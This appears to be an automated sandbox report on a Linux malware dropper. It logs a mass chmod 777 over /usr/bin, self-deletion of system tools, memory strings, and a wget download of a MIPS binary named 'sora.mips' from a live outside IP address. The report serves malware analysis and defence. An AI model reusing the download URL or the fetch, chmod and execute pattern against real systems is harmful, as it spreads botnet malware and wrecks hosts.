      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/driverless (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/dtd2rng (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/dtd2xsd (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/du (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/dumpkeys (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/dvipdf (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/dwp (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/eatmydata (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ec2metadata (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/echo (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ed (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/edit (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/editor (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/editres (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/egrep (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/eject (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/elfedit (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/enc2xs (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/encguess (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/enchant-2 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/enchant-lsmod-2 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/engrampa (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/env (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/envsubst (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/eps2eps (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/eqn (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/erb (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/erb2.7 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/esc-m (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/espeak (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/eutp (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/evince (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/evince-previewer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/evince-thumbnailer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ex (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/exo-csource (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/exo-desktop-item-edit (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/exo-open (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/exo-preferred-applications (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/expand (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/expiry (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/expr (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/factor (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/faillog (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fallocate (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/false (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-cache (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-cat (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-conflist (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-list (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-match (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-pattern (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-query (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-scan (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fc-validate (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fgconsole (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fgrep (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/file (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/file2brl (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/finalrd (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fincore (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/find (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/findmnt (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/firefox (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/flock (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fmt (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fold (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fonttosfnt (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2ddst (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2ddst-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2hbpl2 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2hbpl2-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2hiperc (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2hiperc-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2hp (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2hp2600-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2lava (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2lava-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2oak (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2oak-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2qpdl (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2qpdl-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2slx (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2slx-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2xqx (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2xqx-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2zjs (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2zjs-icc2ps (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2zjs-pstops (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foo2zjs-wrapper (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/foomatic-rip (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fprintd-delete (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fprintd-enroll (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fprintd-list (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fprintd-verify (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/free (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/from (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ftp (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/funzip (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fuser (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fusermount (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fwupdagent (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fwupdate (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fwupdmgr (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fwupdtool (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/fwupdtpmevlog (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gacutil (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gamma4scanimage (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gapplication (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gatttool (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gawk (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gcore (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gcr-viewer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdb (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdb-add-index (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdbserver (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdbtui (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdbus (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdialog (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdk-pixbuf-csource (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdk-pixbuf-pixdata (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdk-pixbuf-thumbnailer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdm-screenshot (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gdmflexiserver (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gedit (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gem (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gem2.7 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/genisoimage (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/genxs (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/geqn (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/getcifsacl (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/getconf (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/geteltorito (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/getent (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/getfacl (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/getkeycodes (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/getopt (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gettext (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gettext.sh (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ghostscript (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gigolo (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gimp (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gimp-2.10 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gimp-console (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gimp-console-2.10 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gimp-test-clipboard-2.0 (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/ginstall-info (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gio (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gio-querymodules (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gipddecode (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/git (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/git-receive-pack (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/git-shell (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/git-upload-archive (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/git-upload-pack (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gjs (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gjs-console (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gkbd-keyboard-display (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/glib-compile-schemas (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/glxdemo (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/glxgears (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/glxheads (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/glxinfo (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gnome-control-center (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gnome-extensions (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gnome-font-viewer (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /usr/bin/chmod (PID: 6217)File: /usr/bin/gnome-help (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
      Source: /bin/sh (PID: 6217)Chmod executable with 777: /usr/bin/chmod -> chmod 777 2to3-2.7 7z 7za 7zr GET HEAD NF POST Thunar VGAuthService X X11 Xephyr Xorg Xwayland [ aa-enabled aa-exec aconnect acpi_listen add-apt-repository addpart addr2line al al2 alsabat alsaloop alsamixer alsatplg alsaucm amidi amixer apg apgbfm aplay aplaymidi apport-bug apport-cli apport-collect apport-unpack appres appstreamcli aprofutil apropos apt apt-add-repository apt-cache apt-cdrom apt-config apt-extracttemplates apt-ftparchive apt-get apt-key apt-mark apt-sortpkgs aptdcon apturl apturl-gtk ar arch arecord arecordmidi arm2hpdl as aseqdump aseqnet asp-state4 aspell aspell-import at atobm atq atril atril-previewer atril-thumbnailer atrm automat-visualize3 avahi-browse avahi-browse-domains avahi-publish avahi-publish-address avahi-publish-service avahi-resolve avahi-resolve-address avahi-resolve-host-name avahi-set-host-name awk axfer b2sum base32 base64 basename bash bashbug batch bc bccmd bdftopcfJump to behavior
      Source: /usr/bin/wget (PID: 6216)File written: /usr/bin/sora.mipsJump to dropped file
      Source: submitted sampleStderr: % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0curl: (6) Could not resolve host: cdcurl: (3) URL using bad/illegal format or missing URL--2024-04-26 08:32:16-- http://185.196.11.177/bins/sora.mipsConnecting to 185.196.11.177:80... connected.HTTP request sent, awaiting response... 200 OKLength: 28884 (28K)Saving to: sora.mips 0K .......... .......... ........ 100% 103K=0.3s2024-04-26 08:32:17 (103 KB/s) - sora.mips saved [28884/28884]: exit code = 0

      Hooking and other Techniques for Hiding and Protection

      barindex
      Drops files in suspicious directories
      Source: /usr/bin/wget (PID: 6216)File: /usr/bin/sora.mipsJump to dropped file
      Sample deletes itself
      Source: /usr/bin/rm (PID: 6233)File: /usr/bin/chmodJump to behavior
      Source: /usr/bin/rm (PID: 6233)File: /usr/bin/curlJump to behavior
      Source: /usr/bin/rm (PID: 6233)File: /usr/bin/rmJump to behavior
      Source: /usr/bin/rm (PID: 6233)File: /usr/bin/sora.mipsJump to behavior
      Source: /usr/bin/rm (PID: 6233)File: /usr/bin/wgetJump to behavior
      Source: sora.mips.14.drDropped file: segment LOAD with 7.892 entropy (max. 8.0)
      Source: /usr/bin/curl (PID: 6214)Queries kernel information via 'uname': Jump to behavior
      Source: /usr/bin/sora.mips (PID: 6218)Queries kernel information via 'uname': Jump to behavior
      Source: sora.mips, 6418.1.00005651e0fef000.00005651e103b000.rw-.sdmpBinary or memory string: QV!/proc/2014/fd/11mips/pr1/usr/bin/vmtoolsd (deleted)
      Source: sh, 6218.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6218.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6220.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6221.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6418.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6227.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6229.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6412.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6414.1.00005651e0f68000.00005651e0fef000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
      Source: sh, 6218.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6218.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6220.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6221.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6418.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6227.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6229.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6412.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6414.1.00007ffecd533000.00007ffecd554000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
      Source: sh, 6218.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6218.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6220.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6221.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6418.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6227.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6229.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6412.1.00007ffecd533000.00007ffecd554000.rw-.sdmp, sora.mips, 6414.1.00007ffecd533000.00007ffecd554000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips./sora.mipsthinkphpSUDO_GID=1000MAIL=/var/mail/rootUSER=rootHOME=/rootCOLORTERM=truecolorSUDO_UID=1000LOGNAME=rootTERM=xterm-256colorPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0LANG=en_US.UTF-8XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_COMMAND=/bin/bashSHELL=/bin/bashSUDO_USER=saturninoPWD=/usr/bin./sora.mips
      Source: sh, 6218.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6218.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6220.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6221.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6418.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6227.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6229.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6412.1.00005651e0f68000.00005651e0fef000.rw-.sdmp, sora.mips, 6414.1.00005651e0f68000.00005651e0fef000.rw-.sdmpBinary or memory string: QVGeneralNames!/etc/qemu-binfmt/mips
      Source: sora.mips, 6418.1.00005651e0fef000.00005651e103b000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips (deleted)
      Source: sora.mips, 6418.1.00005651e0fef000.00005651e103b000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd (deleted)
